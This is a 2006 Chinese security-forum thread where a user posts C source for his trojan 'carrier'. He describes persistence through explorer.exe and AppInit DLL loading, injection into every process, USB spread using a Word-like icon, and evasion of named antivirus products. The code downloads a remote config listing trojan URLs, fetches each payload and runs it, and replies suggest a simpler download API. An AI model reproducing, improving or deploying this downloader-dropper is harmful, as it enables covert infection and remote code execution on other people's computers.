论坛: 编程破解 标题: 木马代码,VC写的,对网络编程新手帮助大哦. 复制本贴地址    
作者: leapar [leapar]    论坛用户   登录

leapar木马载体第二版本代码
http://leapar.5188.org 2006-8-6 华师细雨主页


第一版本是用rar来进行文件的绑定,启动方式也是基于run,service两种方式,效果不好,而且在进行网站挂马时出错.现在升级为第二版本,原理如下:
1.启动方式:explorer.exe启动加载.winint_appdll加载.
2.把核心dll作为exe的资源文件包含,exe运行时生成dll并进行注射.
3.传播方式,U盘传播,因为exe图标与word图标一样.
4.防杀.因为目前瑞星与金山不杀这文件,没病毒库.不停进行进程的检测,同时查找没被注射的进程进行注射.这样一般的小型杀毒工具就很难发挥作用.因为所以进程都将会被注射.
5.运行木马原理.我先在网站上放好一个配置文件,叫shell.htm.这个文件含有木马的下载地址和下载后放在系统盘时应该使用什么名字.
下面把下载木马和读取配置文件的代码写出来.
shell.htm内容:
//write by leapar HTTP: http://leapar.5188.org    QQ:9395462
代码:

<begin>
<td>
<tr>
  http://www.******.com/qq.exe  
</tr>
<tr>
ntss.exe
</tr>
</td>
<td>
<tr>
  http://www.******.com/mir2.exe  
</tr>
<tr>
ntnet.exe
</tr>
</td>
<over>


成功代码:
void GetProtFile();//得到配制文件
SOCKET InitSock(char url[256],int m_Port);//创建SOCKET
int GetHeadLen(char* string);//得到HTTP文件头长度
DWORD GetStateCode(char* string);//得到HTTP回显状态码
void GetTR(char* string);//得到<tr></tr>内容
void GetTD(char* string);//得到<td></td>内容
char ShellUrl[20][256];//保存木马的下载地址
char ShellName[20][256];//保存木马在本地的名称
int ShellCount=0;//统计木马数量
void DownShell(int index);//下载木马文件
bool PareUrl(char Url[256],char HostName[256],char Object[256]);
void RunFile(char* FileName);

代码:

SOCKET InitSock(char url[256],int m_Port)
//write by leapar HTTP: http://leapar.5188.org    QQ:9395462
{
//write by leapar HTTP: http://leapar.5188.org    QQ:9395462
SOCKET m_Socket;
struct sockaddr_in sockaddrin;
LPHOSTENT lphostent;
lphostent=gethostbyname(url);


WSADATA lpWSAData;
if(WSAStartup(MAKEWORD(1,1),&lpWSAData))//The WSAStartup function returns zero if successful
{
return INVALID_SOCKET;//fail
}


if(m_Socket!=INVALID_SOCKET)
{
closesocket(m_Socket);
}
int ret;
hostent *host=NULL;
m_Socket=socket(AF_INET,SOCK_STREAM,0);
if(m_Socket==INVALID_SOCKET)
{
return INVALID_SOCKET;
}
//set Recv and Send time out
int TimeOut=6000; //设置发送超时6秒
if(::setsockopt(m_Socket,SOL_SOCKET,SO_SNDTIMEO,(char *)&TimeOut,sizeof(TimeOut))==SOCKET_ERROR)
{
return INVALID_SOCKET;
}
//write by leapar HTTP: http://leapar.5188.org    QQ:9395462
TimeOut=6000;//设置接收超时6秒

if(::setsockopt(m_Socket,SOL_SOCKET,SO_RCVTIMEO,(char *)&TimeOut,sizeof(TimeOut))==SOCKET_ERROR)
{

return INVALID_SOCKET;
}
//设置非阻塞方式连接
unsigned long ul = 1;
ret = ioctlsocket(m_Socket, FIONBIO, (unsigned long*)&ul);
if(ret==SOCKET_ERROR)
{
return INVALID_SOCKET;
}
//连接
sockaddrin.sin_family = AF_INET;
sockaddrin.sin_port = htons(m_Port);
sockaddrin.sin_addr = *((LPIN_ADDR)*lphostent->h_addr_list);;

if(sockaddrin.sin_addr.s_addr == INADDR_NONE)
{
return INVALID_SOCKET;
}

connect(m_Socket,(const struct sockaddr *)&sockaddrin,sizeof(sockaddrin));

//select 模型,即设置超时
struct timeval timeout ;
fd_set r;

FD_ZERO(&r);
FD_SET(m_Socket, &r);

////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////
timeout.tv_sec = 15; //连接超时15秒
////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////write by leapar HTTP: http://leapar.5188.org    QQ:9395462
////////////////////////////////////////////////////////////////////////////////////

timeout.tv_usec =0;
ret = select(0, 0, &r, 0, &timeout);
if ( ret <= 0 )
{
closesocket(m_Socket);
return INVALID_SOCKET;
}
//一般非锁定模式套接比较难控制,可以根据实际情况考虑 再设回阻塞模式
unsigned long ul1= 0 ;
ret = ioctlsocket(m_Socket, FIONBIO, (unsigned long*)&ul1);
if(ret==SOCKET_ERROR)
{
closesocket (m_Socket);

return INVALID_SOCKET;
}
connect(m_Socket,(SOCKADDR*)&sockaddrin,sizeof(SOCKADDR_IN));

return m_Socket;
}
////////////////////////////////////////////////////////////////////////////////////////////////
void GetProtFile()
{
//write by leapar HTTP: http://leapar.5188.org    QQ:9395462
SOCKET sock;
char SendBuf[1024];
char RecvBuf[1024];
char host[256]="idc.9e3.com";
int m_Port=80;
sock=InitSock(host,m_Port);
if(sock==INVALID_SOCKET)
return;

memset(SendBuf,0,1024);
strcpy(SendBuf,"GET /web/ccnuxiyu/myshellurl.htm HTTP/1.1\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\nAccept-Language: zh-cn\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\r\nHost: idc.9e3.com\r\nConnection: Keep-Alive\r\n\r\n");
send(sock,SendBuf,strlen(SendBuf),0);

memset(RecvBuf,0,1024);
int ren=recv(sock,RecvBuf,1023,0);
DWORD dwStateCode=GetStateCode(RecvBuf);
if(dwStateCode!=200)
{
closesocket(sock);
//清空套接子库
WSACleanup();
return;
}


int ret=0,ret1=0;

ret1=ret=ren;
char *strRecv;
(char*)strRecv=(char*)malloc(sizeof(char));
if(strRecv==NULL)
return;
int size=ret+1;
strRecv=(char*)realloc(strRecv,ret+1);
if(strRecv==NULL)
return;
strcpy(strRecv,RecvBuf);
strRecv[ret]='\0';

while(ret>=1022)
{
memset(RecvBuf,0,1024);
ret=recv(sock,RecvBuf,1023,0);
size+=ret;
strRecv=(char*)realloc(strRecv,size);
if(strRecv==NULL)
return;
for(int i=0;i<ret;i++)
{
strRecv[ret1+i]=RecvBuf[i];
}
ret1+=ret;
strRecv[ret1]='\0';
}

int n=GetHeadLen(strRecv);
for(int i=0;i<ret1-n;i++)
{
strRecv[i]=strRecv[i+n];
}
closesocket(sock);
WSACleanup();
GetTD(strRecv);
free(strRecv);

}
//////////////////////////////////////////////////////////////////////////////////
int GetHeadLen(char* string)
{
//write by leapar HTTP: http://leapar.5188.org    QQ:9395462
//得到头文件信息长度\r\n\r\n前面的为总头文件信息
char* getstr="\r\n\r\n";
int i=1025;
int g=0;
char ch1,ch2;
int j=0;
while(j<i)
{
g=0;
while(g<4)
{
ch1=(char)string[j+g];
ch2=(char)getstr[g];
if(ch1==ch2)
g+=1;
else
break;
}
if(g>2)
{
return j+4;
}
j++;
}
return 0;
}
////////////////////////////////////////////////////////////////////////////////////
DWORD GetStateCode(char* string)
{
//write by leapar HTTP: http://leapar.5188.org    QQ:9395462
//得到头文件信息状态码
char StateBuf[5];
memset(StateBuf,0,5);
StateBuf[0]=string[9];
StateBuf[1]=string[10];
if(string[11]!=' ')
{
StateBuf[2]=string[11];
}
if(string[12]!=' ')
{
StateBuf[3]=string[12];
}
DWORD Code;
Code=atol(StateBuf);
return Code;
}
///////////////////////////////////////////////////////////////////////
void GetTD(char* string)
{
//write by leapar HTTP: http://leapar.5188.org    QQ:9395462
char btd[5]="<td>";
char etd[6]="</td>";
char* TDstr;
(char*)TDstr=(char*)malloc(sizeof(char));
if(TDstr==NULL)
return;
int count=0;
bool b=false;
int i=strlen(string);

int g=0;
char ch1,ch2;
int j=0;
while(j<i)
{
if(!b)//查找<td>
{
g=0;
while(g<4)
{
ch1=(char)string[j+g];
ch2=(char)btd[g];
if(ch1==ch2)
g+=1;
else
break;
}
if(g==4)
{
char buf[10];
itoa(j,buf,10);
// AfxMessageBox(buf);
j+=3;//跳过<td>几个字符
b=true;
}
}
else//查找</td>
{
g=0;
while(g<5)
{
// AfxMessageBox("HO");
ch1=(char)string[j+g];
ch2=etd[g];
if(ch1==ch2)
g+=1;
else
break;
}
if(g==5)
{
j+=4;
b=false;
GetTR(TDstr);//取出木马信息
// AfxMessageBox(TDstr);
count=0;
TDstr=(char*)realloc(TDstr,count+1);
if(TDstr==NULL)
return;
TDstr[count]='\0';
}
else
{
TDstr=(char*)realloc(TDstr,count+1);
if(TDstr==NULL)
return;
TDstr[count]='\0';
TDstr[count]=(char)string[j];
count++;
}
}
j++;
}
free(TDstr);
}
////////////////////////////////////////////////////////////////////
void GetTR(char* string)
{
//write by leapar HTTP: http://leapar.5188.org    QQ:9395462
char btr[5]="<tr>";
char etr[6]="</tr>";
char TRstr[256];
memset(TRstr,0,256);

int count=0;
bool b=false;
bool sb=false;//判断当前是url还是name
int i=strlen(string);

int g=0;
char ch1,ch2;
int j=0;
while(j<i)
{
if(!b)//查找<tr>
{
g=0;
while(g<4)
{
ch1=(char)string[j+g];
ch2=(char)btr[g];
if(ch1==ch2)
g+=1;
else
break;
}
if(g==4)
{
j+=5;//跳过<tr>几个字符
b=true;
}
}
else//查找</tr>
{
g=0;
while(g<5)
{

ch1=(char)string[j+g];
ch2=etr[g];
if(ch1==ch2)
g+=1;
else
break;
}
if(g==5)
{
j+=6;
b=false;
if(!sb)
{
memset(ShellUrl[ShellCount],0,256);
strcpy(ShellUrl[ShellCount],TRstr);
sb=true;
}
else
{
memset(ShellName[ShellCount],0,256);
strcpy(ShellName[ShellCount],RootPath);
// MessageBox(GetActiveWindow(),ShellName[ShellCount],"HOHO",MB_OK);
strcat(ShellName[ShellCount],"\\");
// MessageBox(GetActiveWindow(),ShellName[ShellCount],"HOHO",MB_OK);
strcat(ShellName[ShellCount],TRstr);
// MessageBox(GetActiveWindow(),TRstr,"HOHO",MB_OK);
// MessageBox(GetActiveWindow(),ShellName[ShellCount],"HOHO",MB_OK);
ShellCount+=1;
sb=false;
}
// AfxMessageBox(TRstr);
count=0;
memset(TRstr,0,256);
}
else
{
TRstr[count]=(char)string[j];
count++;
}
}
j++;
}
free(TRstr);
}
//////////////////////////////////////////////////////////////////////////////////
void DownShell(int index)
{
//write by leapar HTTP: http://leapar.5188.org    QQ:9395462
SOCKET sock;
char SendBuf[2048];
char RecvBuf[1024];
char HostName[256];
char Object[256];
memset(HostName,0,256);
memset(Object,0,256);
if(!PareUrl("http://www.diouao.com/cmd.exe",HostName,Object))
{
return;
}

sock=InitSock(HostName,80);//全部给出的是80端口
if(sock==INVALID_SOCKET)
{
return;
}

memset(SendBuf,0,1024);
strcpy(SendBuf,"GET ");
strcat(SendBuf,Object);
strcat(SendBuf," HTTP/1.1\r\n");
strcat(SendBuf,"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\nAccept-Language: zh-cn\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\r\nHost: ");
strcat(SendBuf,HostName);
strcat(SendBuf,"\r\nConnection: Keep-Alive\r\n\r\n");

send(sock,SendBuf,strlen(SendBuf),0);


memset(RecvBuf,0,1024);
int ren=recv(sock,RecvBuf,1023,0);



DWORD dwStateCode=GetStateCode(RecvBuf);
if(dwStateCode!=200)
{
closesocket(sock);
//清空套接子库
WSACleanup();

return;
}
int n=GetHeadLen(RecvBuf);

FILE *DownFile;

int i=strlen(ShellName[index]);//因为在GetTR中为了方便,把\r\n带到了文件名的末尾,这里就不把\r\n搞掉
ShellName[index][i-1]='\0';
ShellName[index][i-2]='\0';

if((DownFile=fopen(ShellName[index],"w+b"))==NULL)
{
closesocket(sock);
WSACleanup();
return;
}
fseek(DownFile,0,SEEK_END);


fwrite(RecvBuf+n,sizeof(char),ren-n,DownFile);//一定要记住把头文件信息给去掉


ren=1022;//第一次过来的是HTTP头信息,只有268左右大小,所以要让它进入循环就先指定他的大小。
while(ren>0)
{
memset(RecvBuf,0,1024);
ren=recv(sock,RecvBuf,1023,0);
if(ren==0)
break;
else
{
if(ren!=1023)
{
char buf[10];
itoa(ren,buf,10);
MessageBox(GetActiveWindow(),buf,"HOHO",MB_OK);
}
fwrite(RecvBuf,sizeof(char),ren,DownFile);
}
}
closesocket(sock);
//清空套接子库
WSACleanup();
fclose(DownFile);
RunFile(ShellName[index]);

}
//////////////////////////////////////////////////////////////////////////
void RunFile(char* FileName)
{
//write by leapar HTTP: http://leapar.5188.org    QQ:9395462
SHELLEXECUTEINFO info;
ZeroMemory(&info, sizeof(SHELLEXECUTEINFO));
info.cbSize = sizeof(SHELLEXECUTEINFO);
info.lpVerb = "open";
info.lpFile = FileName;
info.nShow = SW_NORMAL;
info.fMask = SEE_MASK_FLAG_NO_UI;

ShellExecuteEx(&info);
/* DWORD dwGet = WaitForSingleObject(info.hProcess, INFINITE);
if(dwGet == WAIT_OBJECT_0)
{
CloseHandle(info.hProcess);
}
else
{
}*/
}
////////////////////////////////////////////////////////////////////////
bool PareUrl(char Url[256],char HostName[256],char Object[256])
{
//write by leapar HTTP: http://leapar.5188.org    QQ:9395462
//  http://www.*****.com/cmd.exe
//  01234567
int i=strlen(Url);
bool b=false;
int j=7,g=0;
for(;j<i;j++)
{
if(!b)
{
if((char)Url[j]!='/')
{
HostName[j-7]=Url[j];
}
else
{
Object[g]=Url[j];
g++;
b=true;
}
}
else
{
Object[g]=Url[j];
g++;
}
}
return b;
}
////////////////////////////////////////////////////////////////////////



[此贴被 leapar(leapar) 在 08月07日10时50分 编辑过]

地主 发表时间: 06-08-06 22:25

回复: jhkdiy [jhkdiy]   版主   登录
引用老大的提议:
请在发帖时把源程序代码部分放在[code] [/code] (半角字符)中间,这样会把你的原代码用原本的缩进显示出来,显得比较好看,也方便别人观看。

示例:

没有用[code]
#include "stdio.h"
int main()
{
printf("hello 20cn!");
}
使用[code]


代码:

#include "stdio.h"int
main(){    printf("hello 20cn!");}






[此贴被 jhkdiy(jhkdiy) 在 08月06日23时33分 编辑过]


[此贴被 jhkdiy(jhkdiy) 在 08月06日23时34分 编辑过]

B1层 发表时间: 06-08-06 23:28

回复: TomyChen [quest]   版主   登录
那么多个下载的函数用
URLDownloadToFile不是简单?

B2层 发表时间: 06-08-08 04:40

回复: leapar [leapar]   论坛用户   登录
非常感谢。。
我真是晕,,不骗你,我网络方面的程序写了非常多。但是这个函数一直没用过。。根本就不晓得有这函数,我在vb.net里面用过几次,但是vc里面我就没想过它也有。。。

c惭愧....

我对比了一下速度很快,比我的socket速度快。。

它应该是单线程的吧。。谢谢了。。。

要多跟你们交流,我慢慢的把以前写的代码都贴出来,让你们提意见这样我就能学到更多。。

B3层 发表时间: 06-08-08 09:26

回复: jhkdiy [jhkdiy]   版主   登录
嗯,不错,欢迎继续发表!

B4层 发表时间: 06-08-08 16:00

回复: System_Error [yyy30876]   论坛用户   登录
代码:
为什么我的生活: 郁闷 空虚 无奈 伤感 孤独 寂寞 失落 而且充满了深夜的气息 ...公元2006年3月11号签




B5层 发表时间: 06-08-10 02:26

回复: packer [packer]   论坛用户   登录
兄弟你会C吗/
教我了.可以吗?

B6层 发表时间: 06-08-11 12:34

回复: subaijun [subaijun]   论坛用户   登录
jhkdiy:不准乱发广告。

[此贴被 jhkdiy(jhkdiy) 在 11月28日13时11分 编辑过]

B7层 发表时间: 06-11-28 06:20

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号